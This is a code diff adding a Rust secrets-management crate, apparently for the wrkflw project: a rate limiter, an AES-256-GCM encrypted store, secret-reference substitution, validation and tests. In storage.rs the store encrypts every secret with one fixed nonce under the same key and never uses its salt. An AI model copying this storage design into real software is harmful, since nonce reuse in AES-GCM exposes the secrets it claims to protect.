+            trackers: Arc::new(RwLock::new(HashMap::new())),
+        }
+    }
+
+    /// Check if a request should be allowed for the given key
+    pub async fn check_rate_limit(&self, key: &str) -> SecretResult<()> {
+        if !self.config.enabled {
+            return Ok(());
+        }
+
+        let now = Instant::now();
+        let mut trackers = self.trackers.write().await;
+
+        // Clean up old requests for existing tracker
+        if let Some(tracker) = trackers.get_mut(key) {
+            tracker.cleanup_old_requests(self.config.window_duration, now);
+
+            // Check if we're over the limit
+            if tracker.request_count() >= self.config.max_requests as usize {
+                let time_until_reset = self.config.window_duration - (now - tracker.first_request);
+                return Err(SecretError::RateLimitExceeded(format!(
+                    "Rate limit exceeded. Try again in {} seconds",
+                    time_until_reset.as_secs()
+                )));
+            }
+
+            // Add the current request
+            tracker.add_request(now);
+        } else {
+            // Create new tracker and add first request
+            let mut tracker = RequestTracker::new();
+            tracker.add_request(now);
+            trackers.insert(key.to_string(), tracker);
+        }
+
+        Ok(())
+    }
+
+    /// Reset rate limit for a specific key
+    pub async fn reset_rate_limit(&self, key: &str) {
+        let mut trackers = self.trackers.write().await;
+        trackers.remove(key);
+    }
+
+    /// Clear all rate limit data
+    pub async fn clear_all(&self) {
+        let mut trackers = self.trackers.write().await;
+        trackers.clear();
+    }
+
+    /// Get current request count for a key
+    pub async fn get_request_count(&self, key: &str) -> usize {
+        let trackers = self.trackers.read().await;
+        trackers.get(key).map(|t| t.request_count()).unwrap_or(0)
+    }
+
+    /// Get rate limit configuration
+    pub fn config(&self) -> &RateLimitConfig {
+        &self.config
+    }
+}
+
+impl Default for RateLimiter {
+    fn default() -> Self {
+        Self::new(RateLimitConfig::default())
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tokio::time::Duration;
+
+    #[tokio::test]
+    async fn test_rate_limit_basic() {
+        let config = RateLimitConfig {
+            max_requests: 3,
+            window_duration: Duration::from_secs(1),
+            enabled: true,
+        };
+        let limiter = RateLimiter::new(config);
+
+        // First 3 requests should succeed
+        assert!(limiter.check_rate_limit("test_key").await.is_ok());
+        assert!(limiter.check_rate_limit("test_key").await.is_ok());
+        assert!(limiter.check_rate_limit("test_key").await.is_ok());
+
+        // 4th request should fail
+        assert!(limiter.check_rate_limit("test_key").await.is_err());
+    }
+
+    #[tokio::test]
+    async fn test_rate_limit_different_keys() {
+        let config = RateLimitConfig {
+            max_requests: 2,
+            window_duration: Duration::from_secs(1),
+            enabled: true,
+        };
+        let limiter = RateLimiter::new(config);
+
+        // Different keys should have separate limits
+        assert!(limiter.check_rate_limit("key1").await.is_ok());
+        assert!(limiter.check_rate_limit("key1").await.is_ok());
+        assert!(limiter.check_rate_limit("key2").await.is_ok());
+        assert!(limiter.check_rate_limit("key2").await.is_ok());
+
+        // Both keys should now be at their limit
+        assert!(limiter.check_rate_limit("key1").await.is_err());
+        assert!(limiter.check_rate_limit("key2").await.is_err());
+    }
+
+    #[tokio::test]
+    async fn test_rate_limit_reset() {
+        let config = RateLimitConfig {
+            max_requests: 1,
+            window_duration: Duration::from_secs(60), // Long window
+            enabled: true,
+        };
+        let limiter = RateLimiter::new(config);
+
+        // Use up the limit
+        assert!(limiter.check_rate_limit("test_key").await.is_ok());
+        assert!(limiter.check_rate_limit("test_key").await.is_err());
+
+        // Reset and try again
+        limiter.reset_rate_limit("test_key").await;
+        assert!(limiter.check_rate_limit("test_key").await.is_ok());
+    }
+
+    #[tokio::test]
+    async fn test_rate_limit_disabled() {
+        let config = RateLimitConfig {
+            max_requests: 1,
+            window_duration: Duration::from_secs(1),
+            enabled: false,
+        };
+        let limiter = RateLimiter::new(config);
+
+        // All requests should succeed when disabled
+        for _ in 0..10 {
+            assert!(limiter.check_rate_limit("test_key").await.is_ok());
+        }
+    }
+
+    #[tokio::test]
+    async fn test_get_request_count() {
+        let config = RateLimitConfig {
+            max_requests: 5,
+            window_duration: Duration::from_secs(1),
+            enabled: true,
+        };
+        let limiter = RateLimiter::new(config);
+
+        assert_eq!(limiter.get_request_count("test_key").await, 0);
+
+        limiter.check_rate_limit("test_key").await.unwrap();
+        assert_eq!(limiter.get_request_count("test_key").await, 1);
+
+        limiter.check_rate_limit("test_key").await.unwrap();
+        assert_eq!(limiter.get_request_count("test_key").await, 2);
+    }
+}

crates/secrets/src/storage.rs

@@ -0,0 +1,351 @@
+use crate::{SecretError, SecretResult};
+use aes_gcm::{
+    aead::{Aead, KeyInit, OsRng},
+    Aes256Gcm, Key, Nonce,
+};
+use base64::{engine::general_purpose, Engine as _};
+use serde::{Deserialize, Serialize};
+use std::collections::HashMap;
+
+/// Encrypted secret storage for sensitive data at rest
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct EncryptedSecretStore {
+    /// Encrypted secrets map (base64 encoded)
+    secrets: HashMap<String, String>,
+    /// Salt for key derivation (base64 encoded)
+    salt: String,
+    /// Nonce for encryption (base64 encoded)
+    nonce: String,
+}
+
+impl EncryptedSecretStore {
+    /// Create a new encrypted secret store with a random key
+    pub fn new() -> SecretResult<(Self, [u8; 32])> {
+        let key = Aes256Gcm::generate_key(&mut OsRng);
+        let salt = Self::generate_salt();
+        let nonce = Self::generate_nonce();
+
+        let store = Self {
+            secrets: HashMap::new(),
+            salt: general_purpose::STANDARD.encode(salt),
+            nonce: general_purpose::STANDARD.encode(nonce),
+        };
+
+        Ok((store, key.into()))
+    }
+
+    /// Create an encrypted secret store from existing data
+    pub fn from_data(secrets: HashMap<String, String>, salt: String, nonce: String) -> Self {
+        Self {
+            secrets,
+            salt,
+            nonce,
+        }
+    }
+
+    /// Add an encrypted secret
+    pub fn add_secret(&mut self, key: &[u8; 32], name: &str, value: &str) -> SecretResult<()> {
+        let encrypted = self.encrypt_value(key, value)?;
+        self.secrets.insert(name.to_string(), encrypted);
+        Ok(())
+    }
+
+    /// Get and decrypt a secret
+    pub fn get_secret(&self, key: &[u8; 32], name: &str) -> SecretResult<String> {
+        let encrypted = self
+            .secrets
+            .get(name)
+            .ok_or_else(|| SecretError::not_found(name))?;
+
+        self.decrypt_value(key, encrypted)
+    }
+
+    /// Remove a secret
+    pub fn remove_secret(&mut self, name: &str) -> bool {
+        self.secrets.remove(name).is_some()
+    }
+
+    /// List all secret names
+    pub fn list_secrets(&self) -> Vec<String> {
+        self.secrets.keys().cloned().collect()
+    }
+
+    /// Check if a secret exists
+    pub fn has_secret(&self, name: &str) -> bool {
+        self.secrets.contains_key(name)
+    }
+
+    /// Get the number of stored secrets
+    pub fn secret_count(&self) -> usize {
+        self.secrets.len()
+    }
+
+    /// Clear all secrets
+    pub fn clear(&mut self) {
+        self.secrets.clear();
+    }
+
+    /// Encrypt a value
+    fn encrypt_value(&self, key: &[u8; 32], value: &str) -> SecretResult<String> {
+        let cipher = Aes256Gcm::new(Key::<Aes256Gcm>::from_slice(key));
+        let nonce_bytes = general_purpose::STANDARD
+            .decode(&self.nonce)
+            .map_err(|e| SecretError::EncryptionError(format!("Invalid nonce: {}", e)))?;
+
+        if nonce_bytes.len() != 12 {
+            return Err(SecretError::EncryptionError(
+                "Invalid nonce length".to_string(),
+            ));
+        }
+
+        let nonce = Nonce::from_slice(&nonce_bytes);
+        let ciphertext = cipher
+            .encrypt(nonce, value.as_bytes())
+            .map_err(|e| SecretError::EncryptionError(format!("Encryption failed: {}", e)))?;
+
+        Ok(general_purpose::STANDARD.encode(&ciphertext))
+    }
+
+    /// Decrypt a value
+    fn decrypt_value(&self, key: &[u8; 32], encrypted: &str) -> SecretResult<String> {
+        let cipher = Aes256Gcm::new(Key::<Aes256Gcm>::from_slice(key));
+        let nonce_bytes = general_purpose::STANDARD
+            .decode(&self.nonce)
+            .map_err(|e| SecretError::EncryptionError(format!("Invalid nonce: {}", e)))?;
+
+        if nonce_bytes.len() != 12 {
+            return Err(SecretError::EncryptionError(
+                "Invalid nonce length".to_string(),
+            ));
+        }
+
+        let nonce = Nonce::from_slice(&nonce_bytes);
+        let ciphertext = general_purpose::STANDARD
+            .decode(encrypted)
+            .map_err(|e| SecretError::EncryptionError(format!("Invalid ciphertext: {}", e)))?;
+
+        let plaintext = cipher
+            .decrypt(nonce, ciphertext.as_ref())
+            .map_err(|e| SecretError::EncryptionError(format!("Decryption failed: {}", e)))?;
+
+        String::from_utf8(plaintext)
+            .map_err(|e| SecretError::EncryptionError(format!("Invalid UTF-8: {}", e)))
+    }
+
+    /// Generate a random salt
+    fn generate_salt() -> [u8; 32] {
+        let mut salt = [0u8; 32];
+        rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut salt);
+        salt
+    }
+
+    /// Generate a random nonce
+    fn generate_nonce() -> [u8; 12] {
+        let mut nonce = [0u8; 12];
+        rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut nonce);
+        nonce
+    }
+
+    /// Serialize to JSON
+    pub fn to_json(&self) -> SecretResult<String> {
+        serde_json::to_string_pretty(self)
+            .map_err(|e| SecretError::internal(format!("Serialization failed: {}", e)))
+    }
+
+    /// Deserialize from JSON
+    pub fn from_json(json: &str) -> SecretResult<Self> {
+        serde_json::from_str(json)
+            .map_err(|e| SecretError::internal(format!("Deserialization failed: {}", e)))
+    }
+
+    /// Save to file
+    pub async fn save_to_file(&self, path: &str) -> SecretResult<()> {
+        let json = self.to_json()?;
+        tokio::fs::write(path, json)
+            .await
+            .map_err(SecretError::IoError)
+    }
+
+    /// Load from file
+    pub async fn load_from_file(path: &str) -> SecretResult<Self> {
+        let json = tokio::fs::read_to_string(path)
+            .await
+            .map_err(SecretError::IoError)?;
+        Self::from_json(&json)
+    }
+}
+
+impl Default for EncryptedSecretStore {
+    fn default() -> Self {
+        let (store, _) = Self::new().expect("Failed to create default encrypted store");
+        store
+    }
+}
+
+/// Key derivation utilities
+pub struct KeyDerivation;
+
+impl KeyDerivation {
+    /// Derive a key from a password using PBKDF2
+    pub fn derive_key_from_password(password: &str, salt: &[u8], iterations: u32) -> [u8; 32] {
+        let mut key = [0u8; 32];
+        let _ = pbkdf2::pbkdf2::<hmac::Hmac<sha2::Sha256>>(
+            password.as_bytes(),
+            salt,
+            iterations,
+            &mut key,
+        );
+        key
+    }
+
+    /// Generate a secure random key
+    pub fn generate_random_key() -> [u8; 32] {
+        Aes256Gcm::generate_key(&mut OsRng).into()
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[tokio::test]
+    async fn test_encrypted_secret_store_basic() {
+        let (mut store, key) = EncryptedSecretStore::new().unwrap();
+
+        // Add a secret
+        store
+            .add_secret(&key, "test_secret", "secret_value")
+            .unwrap();
+
+        // Retrieve the secret
+        let value = store.get_secret(&key, "test_secret").unwrap();
+        assert_eq!(value, "secret_value");
+
+        // Check metadata
+        assert!(store.has_secret("test_secret"));
+        assert_eq!(store.secret_count(), 1);
+
+        let secrets = store.list_secrets();
+        assert_eq!(secrets.len(), 1);
+        assert!(secrets.contains(&"test_secret".to_string()));
+    }
+
+    #[tokio::test]
+    async fn test_encrypted_secret_store_multiple_secrets() {
+        let (mut store, key) = EncryptedSecretStore::new().unwrap();
+
+        // Add multiple secrets
+        store.add_secret(&key, "secret1", "value1").unwrap();
+        store.add_secret(&key, "secret2", "value2").unwrap();
+        store.add_secret(&key, "secret3", "value3").unwrap();
+
+        // Retrieve all secrets
+        assert_eq!(store.get_secret(&key, "secret1").unwrap(), "value1");
+        assert_eq!(store.get_secret(&key, "secret2").unwrap(), "value2");
+        assert_eq!(store.get_secret(&key, "secret3").unwrap(), "value3");
+
+        assert_eq!(store.secret_count(), 3);
+    }
+
+    #[tokio::test]
+    async fn test_encrypted_secret_store_wrong_key() {
+        let (mut store, key1) = EncryptedSecretStore::new().unwrap();
+        let (_, key2) = EncryptedSecretStore::new().unwrap();
+
+        // Add secret with key1
+        store
+            .add_secret(&key1, "test_secret", "secret_value")
+            .unwrap();
+
+        // Try to retrieve with wrong key
+        let result = store.get_secret(&key2, "test_secret");
+        assert!(result.is_err());
+    }
+
+    #[tokio::test]
+    async fn test_encrypted_secret_store_not_found() {
+        let (store, key) = EncryptedSecretStore::new().unwrap();
+
+        let result = store.get_secret(&key, "nonexistent");
+        assert!(result.is_err());
+
+        match result.unwrap_err() {
+            SecretError::NotFound { name } => {
+                assert_eq!(name, "nonexistent");
+            }
+            _ => panic!("Expected NotFound error"),
+        }
+    }
+
+    #[tokio::test]
+    async fn test_encrypted_secret_store_remove() {
+        let (mut store, key) = EncryptedSecretStore::new().unwrap();
+
+        store
+            .add_secret(&key, "test_secret", "secret_value")
+            .unwrap();
+        assert!(store.has_secret("test_secret"));
+
+        let removed = store.remove_secret("test_secret");
+        assert!(removed);
+        assert!(!store.has_secret("test_secret"));
+
+        let removed_again = store.remove_secret("test_secret");
+        assert!(!removed_again);
+    }
+
+    #[tokio::test]
+    async fn test_encrypted_secret_store_serialization() {
+        let (mut store, key) = EncryptedSecretStore::new().unwrap();
+
+        store.add_secret(&key, "secret1", "value1").unwrap();
+        store.add_secret(&key, "secret2", "value2").unwrap();
+
+        // Serialize to JSON
+        let json = store.to_json().unwrap();
+
+        // Deserialize from JSON
+        let restored_store = EncryptedSecretStore::from_json(&json).unwrap();
+
+        // Verify secrets are still accessible
+        assert_eq!(
+            restored_store.get_secret(&key, "secret1").unwrap(),
+            "value1"
+        );
+        assert_eq!(
+            restored_store.get_secret(&key, "secret2").unwrap(),
+            "value2"
+        );
+    }
+
+    #[test]
+    fn test_key_derivation() {
+        let password = "test_password";
+        let salt = b"test_salt_bytes_32_chars_long!!";
+        let iterations = 10000;
+
+        let key1 = KeyDerivation::derive_key_from_password(password, salt, iterations);
+        let key2 = KeyDerivation::derive_key_from_password(password, salt, iterations);
+
+        // Same password and salt should produce same key
+        assert_eq!(key1, key2);
+
+        // Different salt should produce different key
+        let different_salt = b"different_salt_bytes_32_chars!";
+        let key3 = KeyDerivation::derive_key_from_password(password, different_salt, iterations);
+        assert_ne!(key1, key3);
+    }
+
+    #[test]
+    fn test_random_key_generation() {
+        let key1 = KeyDerivation::generate_random_key();
+        let key2 = KeyDerivation::generate_random_key();
+
+        // Random keys should be different
+        assert_ne!(key1, key2);
+
+        // Keys should be 32 bytes
+        assert_eq!(key1.len(), 32);
+        assert_eq!(key2.len(), 32);
+    }
+}

crates/secrets/src/substitution.rs

@@ -0,0 +1,252 @@
+use crate::{SecretManager, SecretResult};
+use regex::Regex;
+use std::collections::HashMap;
+
+lazy_static::lazy_static! {
+    /// Regex to match GitHub-style secret references: ${{ secrets.SECRET_NAME }}
+    static ref SECRET_PATTERN: Regex = Regex::new(
+        r"\$\{\{\s*secrets\.([a-zA-Z0-9_][a-zA-Z0-9_-]*)\s*\}\}"
+    ).unwrap();
+
+    /// Regex to match provider-specific secret references: ${{ secrets.provider:SECRET_NAME }}
+    static ref PROVIDER_SECRET_PATTERN: Regex = Regex::new(
+        r"\$\{\{\s*secrets\.([a-zA-Z0-9_][a-zA-Z0-9_-]*):([a-zA-Z0-9_][a-zA-Z0-9_-]*)\s*\}\}"
+    ).unwrap();
+}
+
+/// Secret substitution engine for replacing secret references in text
+pub struct SecretSubstitution<'a> {
+    manager: &'a SecretManager,
+    resolved_secrets: HashMap<String, String>,
+}
+
+impl<'a> SecretSubstitution<'a> {
+    /// Create a new secret substitution engine
+    pub fn new(manager: &'a SecretManager) -> Self {
+        Self {
+            manager,
+            resolved_secrets: HashMap::new(),
+        }
+    }
+
+    /// Substitute all secret references in the given text
+    pub async fn substitute(&mut self, text: &str) -> SecretResult<String> {
+        let mut result = text.to_string();
+
+        // First, handle provider-specific secrets: ${{ secrets.provider:SECRET_NAME }}
+        result = self.substitute_provider_secrets(&result).await?;
+
+        // Then handle default provider secrets: ${{ secrets.SECRET_NAME }}
+        result = self.substitute_default_secrets(&result).await?;
+
+        Ok(result)
+    }
+
+    /// Substitute provider-specific secret references
+    async fn substitute_provider_secrets(&mut self, text: &str) -> SecretResult<String> {
+        let mut result = text.to_string();
+
+        for captures in PROVIDER_SECRET_PATTERN.captures_iter(text) {
+            let full_match = captures.get(0).unwrap().as_str();
+            let provider = captures.get(1).unwrap().as_str();
+            let secret_name = captures.get(2).unwrap().as_str();
+
+            let cache_key = format!("{}:{}", provider, secret_name);
+
+            let secret_value = if let Some(cached) = self.resolved_secrets.get(&cache_key) {
+                cached.clone()
+            } else {
+                let secret = self
+                    .manager
+                    .get_secret_from_provider(provider, secret_name)
+                    .await?;
+                let value = secret.value().to_string();
+                self.resolved_secrets.insert(cache_key, value.clone());
+                value
+            };
+
+            result = result.replace(full_match, &secret_value);
+        }
+
+        Ok(result)
+    }
+
+    /// Substitute default provider secret references
+    async fn substitute_default_secrets(&mut self, text: &str) -> SecretResult<String> {
+        let mut result = text.to_string();
+
+        for captures in SECRET_PATTERN.captures_iter(text) {
+            let full_match = captures.get(0).unwrap().as_str();
+            let secret_name = captures.get(1).unwrap().as_str();
+
+            let secret_value = if let Some(cached) = self.resolved_secrets.get(secret_name) {
+                cached.clone()
+            } else {
+                let secret = self.manager.get_secret(secret_name).await?;
+                let value = secret.value().to_string();
+                self.resolved_secrets
+                    .insert(secret_name.to_string(), value.clone());
+                value
+            };
+
+            result = result.replace(full_match, &secret_value);
+        }
+
+        Ok(result)
+    }
+
+    /// Get all resolved secrets (for masking purposes)
+    pub fn resolved_secrets(&self) -> &HashMap<String, String> {
+        &self.resolved_secrets
+    }
+
+    /// Check if text contains secret references
+    pub fn contains_secrets(text: &str) -> bool {
+        SECRET_PATTERN.is_match(text) || PROVIDER_SECRET_PATTERN.is_match(text)
+    }
+
+    /// Extract all secret references from text without resolving them
+    pub fn extract_secret_refs(text: &str) -> Vec<SecretRef> {
+        let mut refs = Vec::new();
+
+        // Extract provider-specific references
+        for captures in PROVIDER_SECRET_PATTERN.captures_iter(text) {
+            let full_match = captures.get(0).unwrap().as_str();
+            let provider = captures.get(1).unwrap().as_str();
+            let name = captures.get(2).unwrap().as_str();
+
+            refs.push(SecretRef {
+                full_text: full_match.to_string(),
+                provider: Some(provider.to_string()),
+                name: name.to_string(),
+            });
+        }
+
+        // Extract default provider references
+        for captures in SECRET_PATTERN.captures_iter(text) {
+            let full_match = captures.get(0).unwrap().as_str();
+            let name = captures.get(1).unwrap().as_str();
+
+            refs.push(SecretRef {
+                full_text: full_match.to_string(),
+                provider: None,
+                name: name.to_string(),
+            });
+        }
+
+        refs
+    }
+}
+
+/// A reference to a secret found in text
+#[derive(Debug, Clone, PartialEq)]
+pub struct SecretRef {
+    /// The full text of the secret reference (e.g., "${{ secrets.API_KEY }}")
+    pub full_text: String,
+    /// The provider name, if specified
+    pub provider: Option<String>,
+    /// The secret name
+    pub name: String,
+}
+
+impl SecretRef {
+    /// Get the cache key for this secret reference
+    pub fn cache_key(&self) -> String {
+        match &self.provider {
+            Some(provider) => format!("{}:{}", provider, self.name),
+            None => self.name.clone(),
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::{SecretError, SecretManager};
+
+    #[tokio::test]
+    async fn test_basic_secret_substitution() {
+        // Use unique secret names to avoid test conflicts
+        let github_token_name = format!("GITHUB_TOKEN_{}", std::process::id());
+        let api_key_name = format!("API_KEY_{}", std::process::id());
+
+        std::env::set_var(&github_token_name, "ghp_test_token");
+        std::env::set_var(&api_key_name, "secret_api_key");
+
+        let manager = SecretManager::default().await.unwrap();
+        let mut substitution = SecretSubstitution::new(&manager);
+
+        let input = format!(
+            "Token: ${{{{ secrets.{} }}}}, API: ${{{{ secrets.{} }}}}",
+            github_token_name, api_key_name
+        );
+        let result = substitution.substitute(&input).await.unwrap();
+
+        assert_eq!(result, "Token: ghp_test_token, API: secret_api_key");
+
+        std::env::remove_var(&github_token_name);
+        std::env::remove_var(&api_key_name);
+    }
+
+    #[tokio::test]
+    async fn test_provider_specific_substitution() {
+        // Use unique secret name to avoid test conflicts
+        let vault_secret_name = format!("VAULT_SECRET_{}", std::process::id());
+        std::env::set_var(&vault_secret_name, "vault_value");
+
+        let manager = SecretManager::default().await.unwrap();
+        let mut substitution = SecretSubstitution::new(&manager);
+
+        let input = format!("Value: ${{{{ secrets.env:{} }}}}", vault_secret_name);
+        let result = substitution.substitute(&input).await.unwrap();
+
+        assert_eq!(result, "Value: vault_value");
+
+        std::env::remove_var(&vault_secret_name);
+    }
+
+    #[tokio::test]
+    async fn test_extract_secret_refs() {
+        let input = "Token: ${{ secrets.GITHUB_TOKEN }}, Vault: ${{ secrets.vault:API_KEY }}";
+        let refs = SecretSubstitution::extract_secret_refs(input);
+
+        assert_eq!(refs.len(), 2);
+
+        let github_ref = &refs.iter().find(|r| r.name == "GITHUB_TOKEN").unwrap();
+        assert_eq!(github_ref.provider, None);
+        assert_eq!(github_ref.full_text, "${{ secrets.GITHUB_TOKEN }}");
+
+        let vault_ref = &refs.iter().find(|r| r.name == "API_KEY").unwrap();
+        assert_eq!(vault_ref.provider, Some("vault".to_string()));
+        assert_eq!(vault_ref.full_text, "${{ secrets.vault:API_KEY }}");
+    }
+
+    #[tokio::test]
+    async fn test_contains_secrets() {
+        assert!(SecretSubstitution::contains_secrets(
+            "${{ secrets.API_KEY }}"
+        ));
+        assert!(SecretSubstitution::contains_secrets(
+            "${{ secrets.vault:SECRET }}"
+        ));
+        assert!(!SecretSubstitution::contains_secrets("${{ matrix.os }}"));
+        assert!(!SecretSubstitution::contains_secrets("No secrets here"));
+    }
+
+    #[tokio::test]
+    async fn test_secret_substitution_error_handling() {
+        let manager = SecretManager::default().await.unwrap();
+        let mut substitution = SecretSubstitution::new(&manager);
+
+        let input = "Token: ${{ secrets.NONEXISTENT_SECRET }}";
+        let result = substitution.substitute(input).await;
+
+        assert!(result.is_err());
+        match result.unwrap_err() {
+            SecretError::NotFound { name } => {
+                assert_eq!(name, "NONEXISTENT_SECRET");
+            }
+            _ => panic!("Expected NotFound error"),
+        }
+    }
+}

crates/secrets/src/validation.rs

@@ -0,0 +1,241 @@
+// Copyright 2024 wrkflw contributors
+// SPDX-License-Identifier: MIT
+
+//! Input validation utilities for secrets management
+
+use crate::{SecretError, SecretResult};
+use regex::Regex;
+
+/// Maximum allowed secret value size (1MB)
+pub const MAX_SECRET_SIZE: usize = 1024 * 1024;
+
+/// Maximum allowed secret name length
+pub const MAX_SECRET_NAME_LENGTH: usize = 255;
+
+lazy_static::lazy_static! {
+    /// Valid secret name pattern: alphanumeric, underscores, hyphens, dots
+    static ref SECRET_NAME_PATTERN: Regex = Regex::new(r"^[a-zA-Z0-9_.-]+$").unwrap();
+}
+
+/// Validate a secret name
+pub fn validate_secret_name(name: &str) -> SecretResult<()> {
+    if name.is_empty() {
+        return Err(SecretError::InvalidSecretName {
+            reason: "Secret name cannot be empty".to_string(),
+        });
+    }
+
+    if name.len() > MAX_SECRET_NAME_LENGTH {
+        return Err(SecretError::InvalidSecretName {
+            reason: format!(
+                "Secret name too long: {} characters (max: {})",
+                name.len(),
+                MAX_SECRET_NAME_LENGTH
+            ),
+        });
+    }
+
+    if !SECRET_NAME_PATTERN.is_match(name) {
+        return Err(SecretError::InvalidSecretName {
+            reason: "Secret name can only contain letters, numbers, underscores, hyphens, and dots"
+                .to_string(),
+        });
+    }
+
+    // Check for potentially dangerous patterns
+    if name.starts_with('.') || name.ends_with('.') {
+        return Err(SecretError::InvalidSecretName {
+            reason: "Secret name cannot start or end with a dot".to_string(),
+        });
+    }
+
+    if name.contains("..") {
+        return Err(SecretError::InvalidSecretName {
+            reason: "Secret name cannot contain consecutive dots".to_string(),
+        });
+    }
+
+    // Reserved names
+    let reserved_names = [
+        "CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8",
+        "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9",
+    ];
+
+    if reserved_names.contains(&name.to_uppercase().as_str()) {
+        return Err(SecretError::InvalidSecretName {
+            reason: format!("'{}' is a reserved name", name),
+        });
+    }
+
+    Ok(())
+}
+
+/// Validate a secret value
+pub fn validate_secret_value(value: &str) -> SecretResult<()> {
+    let size = value.len();
+
+    if size > MAX_SECRET_SIZE {
+        return Err(SecretError::SecretTooLarge {
+            size,
+            max_size: MAX_SECRET_SIZE,
+        });
+    }
+
+    // Check for null bytes which could cause issues
+    if value.contains('\0') {
+        return Err(SecretError::InvalidFormat(
+            "Secret value cannot contain null bytes".to_string(),
+        ));
+    }
+
+    Ok(())
+}
+
+/// Validate a provider name
+pub fn validate_provider_name(name: &str) -> SecretResult<()> {
+    if name.is_empty() {
+        return Err(SecretError::InvalidConfig(
+            "Provider name cannot be empty".to_string(),
+        ));
+    }
+
+    if name.len() > 64 {
+        return Err(SecretError::InvalidConfig(format!(
+            "Provider name too long: {} characters (max: 64)",
+            name.len()
+        )));
+    }
+
+    if !name
+        .chars()
+        .all(|c| c.is_alphanumeric() || c == '_' || c == '-')
+    {
+        return Err(SecretError::InvalidConfig(
+            "Provider name can only contain letters, numbers, underscores, and hyphens".to_string(),
+        ));
+    }
+
+    Ok(())
+}
+
+/// Sanitize input for logging to prevent log injection attacks
+pub fn sanitize_for_logging(input: &str) -> String {
+    input
+        .chars()
+        .map(|c| match c {
+            '\n' | '\r' | '\t' => ' ',
+            c if c.is_control() => '?',
+            c => c,
+        })
+        .collect()
+}
+
+/// Check if a string might be a secret based on common patterns
+pub fn looks_like_secret(value: &str) -> bool {
+    if value.len() < 8 {
+        return false;
+    }
+
+    // Check for high entropy (random-looking strings)
+    let unique_chars: std::collections::HashSet<char> = value.chars().collect();
+    let entropy_ratio = unique_chars.len() as f64 / value.len() as f64;
+
+    if entropy_ratio > 0.6 && value.len() > 16 {
+        return true;
+    }
+
+    // Check for common secret patterns
+    let secret_patterns = [
+        r"^[A-Za-z0-9+/=]{40,}$", // Base64-like
+        r"^[a-fA-F0-9]{32,}$",    // Hex strings
+        r"^[A-Z0-9]{20,}$",       // All caps alphanumeric
+        r"^sk_[a-zA-Z0-9_-]+$",   // Stripe-like keys
+        r"^pk_[a-zA-Z0-9_-]+$",   // Public keys
+        r"^rk_[a-zA-Z0-9_-]+$",   // Restricted keys
+    ];
+
+    for pattern in &secret_patterns {
+        if let Ok(regex) = Regex::new(pattern) {
+            if regex.is_match(value) {
+                return true;
+            }
+        }
+    }
+
+    false
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_validate_secret_name() {
+        // Valid names
+        assert!(validate_secret_name("API_KEY").is_ok());
+        assert!(validate_secret_name("database-password").is_ok());
+        assert!(validate_secret_name("service.token").is_ok());
+        assert!(validate_secret_name("GITHUB_TOKEN_123").is_ok());
+
+        // Invalid names
+        assert!(validate_secret_name("").is_err());
+        assert!(validate_secret_name("name with spaces").is_err());
+        assert!(validate_secret_name("name/with/slashes").is_err());
+        assert!(validate_secret_name(".hidden").is_err());
+        assert!(validate_secret_name("ending.").is_err());
+        assert!(validate_secret_name("double..dot").is_err());
+        assert!(validate_secret_name("CON").is_err());
+        assert!(validate_secret_name(&"a".repeat(300)).is_err());
+    }
+
+    #[test]
+    fn test_validate_secret_value() {
+        // Valid values
+        assert!(validate_secret_value("short_secret").is_ok());
+        assert!(validate_secret_value("").is_ok()); // Empty is allowed
+        assert!(validate_secret_value(&"a".repeat(1000)).is_ok());
+
+        // Invalid values
+        assert!(validate_secret_value(&"a".repeat(MAX_SECRET_SIZE + 1)).is_err());
+        assert!(validate_secret_value("secret\0with\0nulls").is_err());
+    }
+
+    #[test]
+    fn test_validate_provider_name() {
+        // Valid names
+        assert!(validate_provider_name("env").is_ok());
+        assert!(validate_provider_name("file").is_ok());
+        assert!(validate_provider_name("aws-secrets").is_ok());
+        assert!(validate_provider_name("vault_prod").is_ok());
+
+        // Invalid names
+        assert!(validate_provider_name("").is_err());
+        assert!(validate_provider_name("name with spaces").is_err());
+        assert!(validate_provider_name("name/with/slashes").is_err());
+        assert!(validate_provider_name(&"a".repeat(100)).is_err());
+    }
+
+    #[test]
+    fn test_sanitize_for_logging() {
+        assert_eq!(sanitize_for_logging("normal text"), "normal text");
+        assert_eq!(sanitize_for_logging("line\nbreak"), "line break");
+        assert_eq!(sanitize_for_logging("tab\there"), "tab here");
+        assert_eq!(sanitize_for_logging("carriage\rreturn"), "carriage return");
+    }
+
+    #[test]
+    fn test_looks_like_secret() {
+        // Should detect as secrets
+        assert!(looks_like_secret("sk_test_abcdefghijklmnop1234567890"));
+        assert!(looks_like_secret("abcdefghijklmnopqrstuvwxyz123456"));
+        assert!(looks_like_secret("ABCDEF1234567890ABCDEF1234567890"));
+        assert!(looks_like_secret(
+            "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY3ODkw"
+        ));
+
+        // Should not detect as secrets
+        assert!(!looks_like_secret("short"));
+        assert!(!looks_like_secret("this_is_just_a_regular_variable_name"));
+        assert!(!looks_like_secret("hello world this is plain text"));
+    }
+}

crates/secrets/tests/integration_tests.rs

@@ -0,0 +1,350 @@
+// Copyright 2024 wrkflw contributors
+// SPDX-License-Identifier: MIT
+
+//! Integration tests for the secrets crate
+
+use std::collections::HashMap;
+use std::process;
+use tempfile::TempDir;
+use tokio;
+use wrkflw_secrets::{
+    SecretConfig, SecretManager, SecretMasker, SecretProviderConfig, SecretSubstitution,
+};
+
+/// Test end-to-end secret management workflow
+#[tokio::test]
+async fn test_end_to_end_secret_workflow() {
+    // Create a temporary directory for file-based secrets
+    let temp_dir = TempDir::new().unwrap();
+    let secrets_file = temp_dir.path().join("secrets.json");
+
+    // Create a secrets file
+    let secrets_content = r#"
+    {
+        "database_password": "super_secret_db_pass_123",
+        "api_token": "tk_abc123def456ghi789",
+        "encryption_key": "key_zyxwvutsrqponmlkjihgfedcba9876543210"
+    }
+    "#;
